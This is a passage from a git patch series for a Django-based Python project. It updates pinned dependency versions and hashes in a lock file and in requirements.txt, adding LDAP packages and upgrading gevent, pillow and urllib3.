"sha256:59b47e81b399d49a5622f0f503c59f1ce57b7705306ea0196818951dfc2f36c8", - "sha256:5aa99e4882a9e909b4756ee799c6fa0f79eb0542779fad4cc60efa23ec1b2aa8", - "sha256:6c04ee32c11e9fcee47c1b431834878dc987a7a2cc4fe126ddcae3bad723ce89", - "sha256:84c517e33ed604fa06b7d756dc0171169cc12f7fdd68eb7b17708a62eebf4516", - "sha256:8729129edef2637a8084258cb9ec4e4d5ca45d97ac77aa7a6ff19ccb530ab731", - "sha256:877abdb3a669576b1d51ce6a49b7260b2a96f6b2424eb93287e779a3219d20ba", - "sha256:8c192d2073e558e241f0b592c1e2b34127a4481a5be240cad4796533b88b1a98", - "sha256:8f2477e7b0a903a01485c55bacf2089110e5f767014967ba4b287ff390ae2638", - "sha256:96c56c280e3c43cfd075efd10b250350ed5ffd3c1514ec99a080b1b92d7c8374", - "sha256:97cd42382421779f5d82ec5007199e8a84aa288114975429e4fd0a98f2290f10", - "sha256:98bc510e80f45486ef5b806a1c305e0e89f0430688c14984b0dbdec03331f48b", - "sha256:990d7069f14dc40674e0d5cb43c68fd3bad8337048613b9bb94a0c4180ffc176", - "sha256:9d85574eb729f981fea9a78998725a06292d90a3ed50ddca74530c3148c0be41", - "sha256:a2237451c721a0f874ef89dbb4af4fdc172b76a964befaa69deb15b8fff10f49", - "sha256:a47a4e77e2bc668856aad92a0b8de7ee10768258d93cd03968e6c7ba2e832f76", - "sha256:a5488eba6a568b4d23c072113da4fc0feb1b5f5ede7381656dc913e0d82204e2", - "sha256:ae90226074a6089371a95f20288431cd4b3f6b0b096856afd862e4ac9510cddd", - "sha256:b43d500d7d3c0e03070dee813335bb5315215aa1cf6a04c61093dfdd718640b3", - "sha256:b6c144e08dfad4106effc043a026e5d0c0eff6ad031904c70bf5090c63f3a6a7", - "sha256:d21ad79cca234cdbfa249e727500b0ddcbc7adfff6614a96e6eaa49faca3e4f2", - "sha256:d82081656a5b9a94d37c718c8646c757e1617e389cdc533ea5e6a6f0b8b78545", - "sha256:da4183f0b9d9a1e25e1758099220d32c51cc2c6340ee0dea3fd236b2b37598e4", - "sha256:db562a8519838bddad0c439a2b12246bab539dd50e299ea7ff3644274a33b6a5", - "sha256:ddaa3e310a8f1a45b5c42cf50b54c31003a3028e7d4e085059090ea0e7a5fddd", - "sha256:ed7f16613eebf892a6a744d7a4a8f345bc6f066a0ff3b413e2479f9c0a180193", - "sha256:efc003b6c1481165af61f0aeac248e0a9ac8d880bb3acbe469b448674b2d5281", - "sha256:f01c9adbcb605364694b11dcd0542ec468a29ac7aba2fb5665dc6caf17ba4d7e", - "sha256:f23d0997149a816a2a9045af29c66f67f405a221745b34cefeac5769ed451db8", - "sha256:f3329bedbba4d3146ae58c667e0f9ac1e6f1e1e6340c7593976cdc60aa7d1a47", - "sha256:f7ed2346eb9dc4344f9cb0d7963ce5b74fe16fdd031a2809bb6c2b6eba7ebcd5" - ], - "index": "pypi", - "version": "==22.10.2" + "sha256:272cffdf535978d59c38ed837916dfd2b5d193be1e9e5dcc60a5f4d5025dd98a", + "sha256:2c7b5c9912378e5f5ccf180d1fdb1e83f42b71823483066eddbe10ef1a2fcaa2", + "sha256:36a549d632c14684bcbbd3014a6ce2666c5f2a500f34d58d32df6c9ea38b6535", + "sha256:4368f341a5f51611411ec3fc62426f52ac3d6d42eaee9ed0f9eebe715c80184e", + "sha256:43daf68496c03a35287b8b617f9f91e0e7c0d042aebcc060cadc3f049aadd653", + "sha256:455e5ee8103f722b503fa45dedb04f3ffdec978c1524647f8ba72b4f08490af1", + "sha256:45792c45d60f6ce3d19651d7fde0bc13e01b56bb4db60d3f32ab7d9ec467374c", + "sha256:4e24c2af9638d6c989caffc691a039d7c7022a31c0363da367c0d32ceb4a0648", + "sha256:52b4abf28e837f1865a9bdeef58ff6afd07d1d888b70b6804557e7908032e599", + "sha256:52e9f12cd1cda96603ce6b113d934f1aafb873e2c13182cf8e86d2c5c41982ea", + "sha256:5f3c781c84794926d853d6fb58554dc0dcc800ba25c41d42f6959c344b4db5a6", + "sha256:62d121344f7465e3739989ad6b91f53a6ca9110518231553fe5846dbe1b4518f", + "sha256:65883ac026731ac112184680d1f0f1e39fa6f4389fd1fc0bf46cc1388e2599f9", + "sha256:707904027d7130ff3e59ea387dddceedb133cc742b00b3ffe696d567147a9c9e", + "sha256:72c002235390d46f94938a96920d8856d4ffd9ddf62a303a0d7c118894097e34", + "sha256:7532c17bc6c1cbac265e751b95000961715adef35a25d2b0b1813aa7263fb397", + "sha256:78eebaf5e73ff91d34df48f4e35581ab4c84e22dd5338ef32714264063c57507", + "sha256:7c1abc6f25f475adc33e5fc2dbcc26a732608ac5375d0d306228738a9ae14d3b", + "sha256:7c28e38dcde327c217fdafb9d5d17d3e772f636f35df15ffae2d933a5587addd", + "sha256:7ccf0fd378257cb77d91c116e15c99e533374a8153632c48a3ecae7f7f4f09fe", + "sha256:921dda1c0b84e3d3b1778efa362d61ed29e2b215b90f81d498eb4d8eafcd0b7a", + "sha256:a2898b7048771917d85a1d548fd378e8a7b2ca963db8e17c6d90c76b495e0e2b", + "sha256:a3c5e9b1f766a7a64833334a18539a362fb563f6c4682f9634dea72cbe24f771", + "sha256:ada07076b380918829250201df1d016bdafb3acf352f35e5693b59dceee8dd2e", + "sha256:b101086f109168b23fa3586fccd1133494bdb97f86920a24dc0b23984dc30b69", + "sha256:bf456bd6b992eb0e1e869e2fd0caf817f0253e55ca7977fd0e72d0336a8c1c6a", + "sha256:bf7af500da05363e66f122896012acb6e101a552682f2352b618e541c941a011", + "sha256:c3e5d2fa532e4d3450595244de8ccf51f5721a05088813c1abd93ad274fe15e7", + "sha256:c84d34256c243b0a53d4335ef0bc76c735873986d478c53073861a92566a8d71", + "sha256:d163d59f1be5a4c4efcdd13c2177baaf24aadf721fdf2e1af9ee54a998d160f5", + "sha256:d57737860bfc332b9b5aa438963986afe90f49645f6e053140cfa0fa1bdae1ae", + "sha256:dbb22a9bbd6a13e925815ce70b940d1578dbe5d4013f20d23e8a11eddf8d14a7", + "sha256:dcb8612787a7f4626aa881ff15ff25439561a429f5b303048f0fca8a1c781c39", + "sha256:dd6c32ab977ecf7c7b8c2611ed95fa4aaebd69b74bf08f4b4960ad516861517d", + "sha256:de350fde10efa87ea60d742901e1053eb2127ebd8b59a7d3b90597eb4e586599", + "sha256:e1ead6863e596a8cc2a03e26a7a0981f84b6b3e956101135ff6d02df4d9a6b07", + "sha256:ed7a048d3e526a5c1d55c44cb3bc06cfdc1947d06d45006cc4cf60dedc628904", + "sha256:f632487c87866094546a74eefbca2c74c1d03638b715b6feb12e80120960185a", + "sha256:fae8d5b5b8fa2a8f63b39f5447168b02db10c888a3e387ed7af2bd1b8612e543", + "sha256:fde6402c5432b835fbb7698f1c7f2809c8d6b2bd9d047ac1f5a7c1d5aa569303" + ], + "index": "pypi", + "version": "==23.9.1" }, "gprof2dot": { "hashes": [ @@ -813,7 +801,7 @@ "sha256:f351479a6914fd81a55c8e68963609f792d9b067fb8a60a042c585a621e0de4f", "sha256:f47932c434a3c8d3c86d865443fadc1fbf574e9b11d6650b656e602b1797908a" ], - "markers": "platform_python_implementation == 'CPython'", + "markers": "python_version < '3.11' and platform_python_implementation == 'CPython'", "version": "==3.0.0" }, "gunicorn": { @@ -1400,70 +1388,63 @@ }, "pillow": { "hashes": [ - "sha256:03150abd92771742d4a8cd6f2fa6246d847dcd2e332a18d0c15cc75bf6703040", - "sha256:073adb2ae23431d3b9bcbcff3fe698b62ed47211d0716b067385538a1b0f28b8", - "sha256:0b07fffc13f474264c336298d1b4ce01d9c5a011415b79d4ee5527bb69ae6f65", - "sha256:0b7257127d646ff8676ec8a15520013a698d1fdc48bc2a79ba4e53df792526f2", - "sha256:12ce4932caf2ddf3e41d17fc9c02d67126935a44b86df6a206cf0d7161548627", - "sha256:15c42fb9dea42465dfd902fb0ecf584b8848ceb28b41ee2b58f866411be33f07", - "sha256:18498994b29e1cf86d505edcb7edbe814d133d2232d256db8c7a8ceb34d18cef", - "sha256:1c7c8ae3864846fc95f4611c78129301e203aaa2af813b703c55d10cc1628535", - "sha256:22b012ea2d065fd163ca096f4e37e47cd8b59cf4b0fd47bfca6abb93df70b34c", - "sha256:276a5ca930c913f714e372b2591a22c4bd3b81a418c0f6635ba832daec1cbcfc", - "sha256:2e0918e03aa0c72ea56edbb00d4d664294815aa11291a11504a377ea018330d3", - "sha256:3033fbe1feb1b59394615a1cafaee85e49d01b51d54de0cbf6aa8e64182518a1", - "sha256:3168434d303babf495d4ba58fc22d6604f6e2afb97adc6a423e917dab828939c", - "sha256:32a44128c4bdca7f31de5be641187367fe2a450ad83b833ef78910397db491aa", - "sha256:3dd6caf940756101205dffc5367babf288a30043d35f80936f9bfb37f8355b32", - "sha256:40e1ce476a7804b0fb74bcfa80b0a2206ea6a882938eaba917f7a0f004b42502", - "sha256:41e0051336807468be450d52b8edd12ac60bebaa97fe10c8b660f116e50b30e4", - "sha256:4390e9ce199fc1951fcfa65795f239a8a4944117b5935a9317fb320e7767b40f", - "sha256:502526a2cbfa431d9fc2a079bdd9061a2397b842bb6bc4239bb176da00993812", - "sha256:51e0e543a33ed92db9f5ef69a0356e0b1a7a6b6a71b80df99f1d181ae5875636", - "sha256:57751894f6618fd4308ed8e0c36c333e2f5469744c34729a27532b3db106ee20", - "sha256:5d77adcd56a42d00cc1be30843d3426aa4e660cab4a61021dc84467123f7a00c", - "sha256:655a83b0058ba47c7c52e4e2df5ecf484c1b0b0349805896dd350cbc416bdd91", - "sha256:68943d632f1f9e3dce98908e873b3a090f6cba1cbb1b892a9e8d97c938871fbe", - "sha256:6c738585d7a9961d8c2821a1eb3dcb978d14e238be3d70f0a706f7fa9316946b", - "sha256:73bd195e43f3fadecfc50c682f5055ec32ee2c933243cafbfdec69ab1aa87cad", - "sha256:772a91fc0e03eaf922c63badeca75e91baa80fe2f5f87bdaed4280662aad25c9", - "sha256:77ec3e7be99629898c9a6d24a09de089fa5356ee408cdffffe62d67bb75fdd72", - "sha256:7db8b751ad307d7cf238f02101e8e36a128a6cb199326e867d1398067381bff4", - "sha256:801ec82e4188e935c7f5e22e006d01611d6b41661bba9fe45b60e7ac1a8f84de", - "sha256:82409ffe29d70fd733ff3c1025a602abb3e67405d41b9403b00b01debc4c9a29", - "sha256:828989c45c245518065a110434246c44a56a8b2b2f6347d1409c787e6e4651ee", - "sha256:829f97c8e258593b9daa80638aee3789b7df9da5cf1336035016d76f03b8860c", - "sha256:871b72c3643e516db4ecf20efe735deb27fe30ca17800e661d769faab45a18d7", - "sha256:89dca0ce00a2b49024df6325925555d406b14aa3efc2f752dbb5940c52c56b11", - "sha256:90fb88843d3902fe7c9586d439d1e8c05258f41da473952aa8b328d8b907498c", - "sha256:97aabc5c50312afa5e0a2b07c17d4ac5e865b250986f8afe2b02d772567a380c", - "sha256:9aaa107275d8527e9d6e7670b64aabaaa36e5b6bd71a1015ddd21da0d4e06448", - "sha256:9f47eabcd2ded7698106b05c2c338672d16a6f2a485e74481f524e2a23c2794b", - "sha256:a0a06a052c5f37b4ed81c613a455a81f9a3a69429b4fd7bb913c3fa98abefc20", - "sha256:ab388aaa3f6ce52ac1cb8e122c4bd46657c15905904b3120a6248b5b8b0bc228", - "sha256:ad58d27a5b0262c0c19b47d54c5802db9b34d38bbf886665b626aff83c74bacd", - "sha256:ae5331c23ce118c53b172fa64a4c037eb83c9165aba3a7ba9ddd3ec9fa64a699", - "sha256:af0372acb5d3598f36ec0914deed2a63f6bcdb7b606da04dc19a88d31bf0c05b", - "sha256:afa4107d1b306cdf8953edde0534562607fe8811b6c4d9a486298ad31de733b2", - "sha256:b03ae6f1a1878233ac620c98f3459f79fd77c7e3c2b20d460284e1fb370557d4", - "sha256:b0915e734b33a474d76c28e07292f196cdf2a590a0d25bcc06e64e545f2d146c", - "sha256:b4012d06c846dc2b80651b120e2cdd787b013deb39c09f407727ba90015c684f", - "sha256:b472b5ea442148d1c3e2209f20f1e0bb0eb556538690fa70b5e1f79fa0ba8dc2", - "sha256:b59430236b8e58840a0dfb4099a0e8717ffb779c952426a69ae435ca1f57210c", - "sha256:b90f7616ea170e92820775ed47e136208e04c967271c9ef615b6fbd08d9af0e3", - "sha256:b9a65733d103311331875c1dca05cb4606997fd33d6acfed695b1232ba1df193", - "sha256:bac18ab8d2d1e6b4ce25e3424f709aceef668347db8637c2296bcf41acb7cf48", - "sha256:bca31dd6014cb8b0b2db1e46081b0ca7d936f856da3b39744aef499db5d84d02", - "sha256:be55f8457cd1eac957af0c3f5ece7bc3f033f89b114ef30f710882717670b2a8", - "sha256:c7025dce65566eb6e89f56c9509d4f628fddcedb131d9465cacd3d8bac337e7e", - "sha256:c935a22a557a560108d780f9a0fc426dd7459940dc54faa49d83249c8d3e760f", - "sha256:dbb8e7f2abee51cef77673be97760abff1674ed32847ce04b4af90f610144c7b", - "sha256:e6ea6b856a74d560d9326c0f5895ef8050126acfdc7ca08ad703eb0081e82b74", - "sha256:ebf2029c1f464c59b8bdbe5143c79fa2045a581ac53679733d3a91d400ff9efb", - "sha256:f1ff2ee69f10f13a9596480335f406dd1f70c3650349e2be67ca3139280cade0" - ], - "index": "pypi", - "version": "==9.3.0" + "sha256:0462b1496505a3462d0f35dc1c4d7b54069747d65d00ef48e736acda2c8cbdff", + "sha256:186f7e04248103482ea6354af6d5bcedb62941ee08f7f788a1c7707bc720c66f", + "sha256:19e9adb3f22d4c416e7cd79b01375b17159d6990003633ff1d8377e21b7f1b21", + "sha256:28444cb6ad49726127d6b340217f0627abc8732f1194fd5352dec5e6a0105635", + "sha256:2872f2d7846cf39b3dbff64bc1104cc48c76145854256451d33c5faa55c04d1a", + "sha256:2cc6b86ece42a11f16f55fe8903595eff2b25e0358dec635d0a701ac9586588f", + "sha256:2d7e91b4379f7a76b31c2dda84ab9e20c6220488e50f7822e59dac36b0cd92b1", + "sha256:2fa6dd2661838c66f1a5473f3b49ab610c98a128fc08afbe81b91a1f0bf8c51d", + "sha256:32bec7423cdf25c9038fef614a853c9d25c07590e1a870ed471f47fb80b244db", + "sha256:3855447d98cced8670aaa63683808df905e956f00348732448b5a6df67ee5849", + "sha256:3a04359f308ebee571a3127fdb1bd01f88ba6f6fb6d087f8dd2e0d9bff43f2a7", + "sha256:3a0d3e54ab1df9df51b914b2233cf779a5a10dfd1ce339d0421748232cea9876", + "sha256:44e7e4587392953e5e251190a964675f61e4dae88d1e6edbe9f36d6243547ff3", + "sha256:459307cacdd4138edee3875bbe22a2492519e060660eaf378ba3b405d1c66317", + "sha256:4ce90f8a24e1c15465048959f1e94309dfef93af272633e8f37361b824532e91", + "sha256:50bd5f1ebafe9362ad622072a1d2f5850ecfa44303531ff14353a4059113b12d", + "sha256:522ff4ac3aaf839242c6f4e5b406634bfea002469656ae8358644fc6c4856a3b", + "sha256:552912dbca585b74d75279a7570dd29fa43b6d93594abb494ebb31ac19ace6bd", + "sha256:5d6c9049c6274c1bb565021367431ad04481ebb54872edecfcd6088d27edd6ed", + "sha256:697a06bdcedd473b35e50a7e7506b1d8ceb832dc238a336bd6f4f5aa91a4b500", + "sha256:71671503e3015da1b50bd18951e2f9daf5b6ffe36d16f1eb2c45711a301521a7", + "sha256:723bd25051454cea9990203405fa6b74e043ea76d4968166dfd2569b0210886a", + "sha256:764d2c0daf9c4d40ad12fbc0abd5da3af7f8aa11daf87e4fa1b834000f4b6b0a", + "sha256:787bb0169d2385a798888e1122c980c6eff26bf941a8ea79747d35d8f9210ca0", + "sha256:7f771e7219ff04b79e231d099c0a28ed83aa82af91fd5fa9fdb28f5b8d5addaf", + "sha256:847e8d1017c741c735d3cd1883fa7b03ded4f825a6e5fcb9378fd813edee995f", + "sha256:84efb46e8d881bb06b35d1d541aa87f574b58e87f781cbba8d200daa835b42e1", + "sha256:898f1d306298ff40dc1b9ca24824f0488f6f039bc0e25cfb549d3195ffa17088", + "sha256:8b451d6ead6e3500b6ce5c7916a43d8d8d25ad74b9102a629baccc0808c54971", + "sha256:8f06be50669087250f319b706decf69ca71fdecd829091a37cc89398ca4dc17a", + "sha256:92a23b0431941a33242b1f0ce6c88a952e09feeea9af4e8be48236a68ffe2205", + "sha256:93139acd8109edcdeffd85e3af8ae7d88b258b3a1e13a038f542b79b6d255c54", + "sha256:98533fd7fa764e5f85eebe56c8e4094db912ccbe6fbf3a58778d543cadd0db08", + "sha256:9f665d1e6474af9f9da5e86c2a3a2d2d6204e04d5af9c06b9d42afa6ebde3f21", + "sha256:b059ac2c4c7a97daafa7dc850b43b2d3667def858a4f112d1aa082e5c3d6cf7d", + "sha256:b1be1c872b9b5fcc229adeadbeb51422a9633abd847c0ff87dc4ef9bb184ae08", + "sha256:b7cf63d2c6928b51d35dfdbda6f2c1fddbe51a6bc4a9d4ee6ea0e11670dd981e", + "sha256:bc2e3069569ea9dbe88d6b8ea38f439a6aad8f6e7a6283a38edf61ddefb3a9bf", + "sha256:bcf1207e2f2385a576832af02702de104be71301c2696d0012b1b93fe34aaa5b", + "sha256:ca26ba5767888c84bf5a0c1a32f069e8204ce8c21d00a49c90dabeba00ce0145", + "sha256:cbe68deb8580462ca0d9eb56a81912f59eb4542e1ef8f987405e35a0179f4ea2", + "sha256:d6caf3cd38449ec3cd8a68b375e0c6fe4b6fd04edb6c9766b55ef84a6e8ddf2d", + "sha256:d72967b06be9300fed5cfbc8b5bafceec48bf7cdc7dab66b1d2549035287191d", + "sha256:d889b53ae2f030f756e61a7bff13684dcd77e9af8b10c6048fb2c559d6ed6eaf", + "sha256:de596695a75496deb3b499c8c4f8e60376e0516e1a774e7bc046f0f48cd620ad", + "sha256:e6a90167bcca1216606223a05e2cf991bb25b14695c518bc65639463d7db722d", + "sha256:ed2d9c0704f2dc4fa980b99d565c0c9a543fe5101c25b3d60488b8ba80f0cce1", + "sha256:ee7810cf7c83fa227ba9125de6084e5e8b08c59038a7b2c9045ef4dde61663b4", + "sha256:f0b4b06da13275bc02adfeb82643c4a6385bd08d26f03068c2796f60d125f6f2", + "sha256:f11c9102c56ffb9ca87134bd025a43d2aba3f1155f508eff88f694b33a9c6d19", + "sha256:f5bb289bb835f9fe1a1e9300d011eef4d69661bb9b34d5e196e5e82c4cb09b37", + "sha256:f6d3d4c905e26354e8f9d82548475c46d8e0889538cb0657aa9c6f0872a37aa4", + "sha256:fcb59711009b0168d6ee0bd8fb5eb259c4ab1717b2f538bbf36bacf207ef7a68", + "sha256:fd2a5403a75b54661182b75ec6132437a181209b901446ee5724b589af8edef1" + ], + "index": "pypi", + "version": "==10.0.1" }, "prometheus-client": { "hashes": [ @@ -2081,11 +2062,11 @@ }, "urllib3": { "hashes": [ - "sha256:753a0374df26658f99d826cfe40394a686d05985786d946fbe4165b5148f5a7c", - "sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098" + "sha256:24d6a242c28d29af46c3fae832c36db3bbebcc533dd1bb549172cd739c82df21", + "sha256:94a757d178c9be92ef5539b8840d48dc9cf1b2709c9d6b588232a055c524458b" ], "index": "pypi", - "version": "==1.26.5" + "version": "==1.26.17" }, "uwsgi": { "hashes": [ From 3fb971de9d10c73687dba7121af8a9ca4a88fd54 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 9 Oct 2023 18:26:34 +0800 Subject: [PATCH 52/92] build(deps): fix deps . --- requirements.txt | 228 ++++++++++++++++++++++++----------------------- 1 file changed, 116 insertions(+), 112 deletions(-) diff --git a/requirements.txt b/requirements.txt index ed1467387..680ac925c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,155 +2,159 @@ aliyun-python-sdk-core==2.14.0 aliyun-python-sdk-core-v3==2.13.33 aliyun-python-sdk-kms==2.16.2 -amqp==5.1.1; python_version >= '3.6' -asgiref==3.7.2; python_version >= '3.7' -async-timeout==4.0.3; python_version >= '3.7' -attrs==23.1.0; python_version >= '3.7' -autopep8==2.0.4; python_version >= '3.6' -billiard==4.1.0; python_version >= '3.7' -boto3==1.24.59; python_version >= '3.7' -boto3-stubs==1.28.62; python_version >= '3.7' -botocore==1.27.91; python_version >= '3.7' -botocore-stubs==1.31.62; python_version >= '3.7' and python_version < '4.0' -celery==5.3.0rc1; python_version >= '3.7' -celery-singleton==0.3.1; python_version >= '3.6' and python_version < '4.0' -certifi==2023.7.22; python_version >= '3.6' -cffi==1.16.0; python_version >= '3.8' -chardet==5.2.0; python_version >= '3.7' -charset-normalizer==3.3.0; python_full_version >= '3.7.0' -click==8.1.7; python_version >= '3.7' -click-didyoumean==0.3.0; python_full_version >= '3.6.2' and python_full_version < '4.0.0' +amqp==5.1.1 ; python_version >= '3.6' +asgiref==3.7.2 +async-timeout==4.0.3 ; python_version >= '3.7' +attrs==23.1.0 ; python_version >= '3.7' +autopep8==2.0.4 ; python_version >= '3.6' +billiard==4.1.0 ; python_version >= '3.7' +boto3==1.24.59 +boto3-stubs==1.28.62 +botocore==1.27.91 +botocore-stubs==1.31.62 +celery==5.3.0rc1 +celery-singleton==0.3.1 +certifi==2023.7.22 +cffi==1.16.0 +chardet==5.2.0 +charset-normalizer==3.3.0 ; python_full_version >= '3.7.0' +click==8.1.7 ; python_version >= '3.7' +click-didyoumean==0.3.0 ; python_full_version >= '3.6.2' and python_full_version < '4.0.0' click-plugins==1.1.1 -click-repl==0.3.0; python_version >= '3.6' +click-repl==0.3.0 ; python_version >= '3.6' crcmod==1.7 -cryptography==41.0.4; python_version >= '3.7' -dataclasses-json==0.6.1; python_version >= '3.7' and python_version < '4.0' +cryptography==41.0.4 ; python_version >= '3.7' +dataclasses-json==0.6.1 ddt==1.6.0 -defusedxml==0.7.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' -diff-match-patch==20230430; python_version >= '3.7' -django==3.2.22; python_version >= '3.6' +defusedxml==0.7.1 ; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' +diff-match-patch==20230430 ; python_version >= '3.7' +django==3.2.22 django-add-default-value==0.10.0 +django-auth-ldap==4.6.0 django-celery-beat==2.2.0 -django-cors-headers==4.2.0; python_version >= '3.8' +django-cors-headers==4.2.0 django-cprofile-middleware==1.0.5 django-elasticsearch-dsl==7.2.2 -django-filter==23.3; python_version >= '3.7' -django-health-check==3.17.0; python_version >= '3.8' -django-import-export==2.5.0; python_version >= '3.5' -django-mock-queries==2.1.7 +django-filter==23.3 +django-health-check==3.17.0 +django-import-export==2.5.0 +django-mock-queries==v2.1.7 django-modeltranslation==0.17.7 django-prometheus==2.3.1 django-ranged-response==0.2.0 -django-redis==5.2.0; python_version >= '3.6' +django-redis==5.2.0 django-rest-framework-proxy==1.6.0 -django-seriously==0.4.3; python_version >= '3.6' -django-silk==5.0.4; python_version >= '3.8' +django-seriously==0.4.3 +django-silk==5.0.4 django-simple-captcha==0.5.20 -django-stubs[compatible-mypy]==1.15.0; python_version >= '3.7' -django-stubs-ext==4.2.2; python_version >= '3.8' -django-timezone-field==4.2.3; python_version >= '3.5' +django-stubs[compatible-mypy]==1.15.0 +django-stubs-ext==4.2.2 ; python_version >= '3.8' +django-timezone-field==4.2.3 ; python_version >= '3.5' django-utils==0.0.2 -django-utils-six==2.0; python_version >= '3.6' and python_version < '4.0' +django-utils-six==2.0 django-xff==1.4.0 -djangorestframework==3.12.4; python_version >= '3.5' -djangorestframework-dataclasses==1.3.1; python_version >= '3.7' -djangorestframework-stubs[compatible-mypy]==1.9.1; python_version >= '3.7' +djangorestframework==3.12.4 +djangorestframework-dataclasses==1.3.1 +djangorestframework-stubs[compatible-mypy]==1.9.1 docxcompose==1.3.4 docxtpl==0.16.0 -drf-spectacular==0.22.1; python_version >= '3.6' -elasticsearch==7.17.7; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' and python_version < '4' -elasticsearch-dsl==7.4.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' -et-xmlfile==1.1.0; python_version >= '3.6' -flower==2.0.1; python_version >= '3.7' -gevent==22.10.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5' -gprof2dot==2022.7.29; python_version >= '2.7' -greenlet==3.0.0; platform_python_implementation == 'CPython' -gunicorn==20.1.0; python_version >= '3.5' -humanize==4.8.0; python_version >= '3.8' -id-validator==1.0.20; python_version >= '3' -idna==2.10; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' -inflection==0.5.1; python_version >= '3.5' -jinja2==3.1.2; python_version >= '3.7' -jmespath==0.10.0; python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3' -jq==1.3.0; python_version >= '3.5' -jsonlog==4.0.0; python_version >= '3.6' and python_version < '4.0' -jsonschema==4.17.0; python_version >= '3.7' -kombu==5.3.2; python_version >= '3.8' -lxml==4.9.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' -marisa-trie==0.8.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' +drf-spectacular==0.22.1 +elasticsearch==7.17.7 +elasticsearch-dsl==7.4.1 ; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' +et-xmlfile==1.1.0 ; python_version >= '3.6' +flower==2.0.1 +gevent==23.9.1 +gprof2dot==2022.7.29 ; python_version >= '2.7' +greenlet==3.0.0 ; python_version < '3.11' and platform_python_implementation == 'CPython' +gunicorn==20.1.0 +humanize==4.8.0 ; python_version >= '3.8' +id-validator==1.0.20 +idna==2.10 +inflection==0.5.1 ; python_version >= '3.5' +jinja2==3.1.2 ; python_version >= '3.7' +jmespath==0.10.0 ; python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3' +jq==1.3.0 +jsonlog==4.0.0 +jsonschema==4.17.0 +kombu==5.3.2 ; python_version >= '3.8' +lxml==4.9.1 +marisa-trie==0.8.0 markuppy==1.14 -markupsafe==2.1.3; python_version >= '3.7' -marshmallow==3.20.1; python_version >= '3.8' -mock==5.1.0; python_version >= '3.6' -model-bakery==1.15.0; python_version >= '3' -more-itertools==10.1.0; python_version >= '3.8' -mypy==1.0.1; python_version >= '3.7' -mypy-extensions==1.0.0; python_version >= '3.5' -mysqlclient==2.2.0; python_version >= '3.8' +markupsafe==2.1.3 ; python_version >= '3.7' +marshmallow==3.20.1 ; python_version >= '3.8' +mock==5.1.0 ; python_version >= '3.6' +model-bakery==1.15.0 ; python_version >= '3' +more-itertools==10.1.0 +mypy==1.0.1 +mypy-extensions==1.0.0 ; python_version >= '3.5' +mysqlclient==2.2.0 networkit==10.1 -networkx[all]==3.1; python_version >= '3.8' -numpy==1.26.0; python_version < '3.13' and python_version >= '3.9' +networkx[all]==3.1 +numpy==1.26.0 ; python_version < '3.13' and python_version >= '3.9' odfpy==1.4.1 -openpyxl==3.0.9; python_version >= '3.6' +openpyxl==3.0.9 oss2==2.13.1 -packaging==21.3; python_version >= '3.6' -pandas==2.1.1; python_version >= '3.9' +packaging==21.3 +pandas==2.1.1 pep8==1.7.1 -pillow==9.3.0; python_version >= '3.7' -prometheus-client==0.17.1; python_version >= '3.6' -prompt-toolkit==3.0.39; python_full_version >= '3.7.0' -pycodestyle==2.11.0; python_version >= '3.8' +pillow==10.0.1 +prometheus-client==0.17.1 ; python_version >= '3.6' +prompt-toolkit==3.0.39 ; python_full_version >= '3.7.0' +pyasn1==0.5.0 ; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5' +pyasn1-modules==0.3.0 ; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5' +pycodestyle==2.11.0 ; python_version >= '3.8' pycparser==2.21 -pycryptodome==3.19.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' -pycryptodomex==3.14.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' -pydantic==1.10.13; python_version >= '3.7' -pydot==1.4.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' -pymysql==1.0.2; python_version >= '3.6' -pyotp==2.9.0; python_version >= '3.7' -pyparsing==3.1.1; python_full_version >= '3.6.8' +pycryptodome==3.19.0 ; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' +pycryptodomex==3.14.1 +pydantic==1.10.13 ; python_version >= '3.7' +pydot==1.4.2 +pymysql==1.0.2 +pyotp==2.9.0 +pyparsing==3.1.1 ; python_full_version >= '3.6.8' pypng==0.20220715.0 -pyre2==0.3.6; python_version >= '3.6' -pyrsistent==0.19.1; python_version >= '3.7' +pyre2==0.3.6 +pyrsistent==0.19.1 python-crontab==3.0.0 -python-dateutil==2.8.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' +python-dateutil==2.8.2 ; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' python-docx==0.8.11 -python-json-logger==2.0.7; python_version >= '3.6' +python-json-logger==2.0.7 +python-ldap==3.4.3 ; python_version >= '3.6' pytz==2022.6 -pyyaml==6.0.1; python_version >= '3.6' -qrcode==7.4.2; python_version >= '3.7' -redis==4.4.4; python_version >= '3.7' -requests==2.31.0; python_version >= '3.7' -result==0.8.0; python_version >= '3.7' -s3transfer==0.6.2; python_version >= '3.7' -scipy==1.11.3; python_version < '3.13' and python_version >= '3.9' -setuptools==65.5.1; python_version >= '3.7' -shortuuid==1.0.11; python_version >= '3.5' +pyyaml==6.0.1 ; python_version >= '3.6' +qrcode==7.4.2 +redis==4.4.4 +requests==2.31.0 +result==0.8.0 +s3transfer==0.6.2 ; python_version >= '3.7' +scipy==1.11.3 ; python_version < '3.13' and python_version >= '3.9' 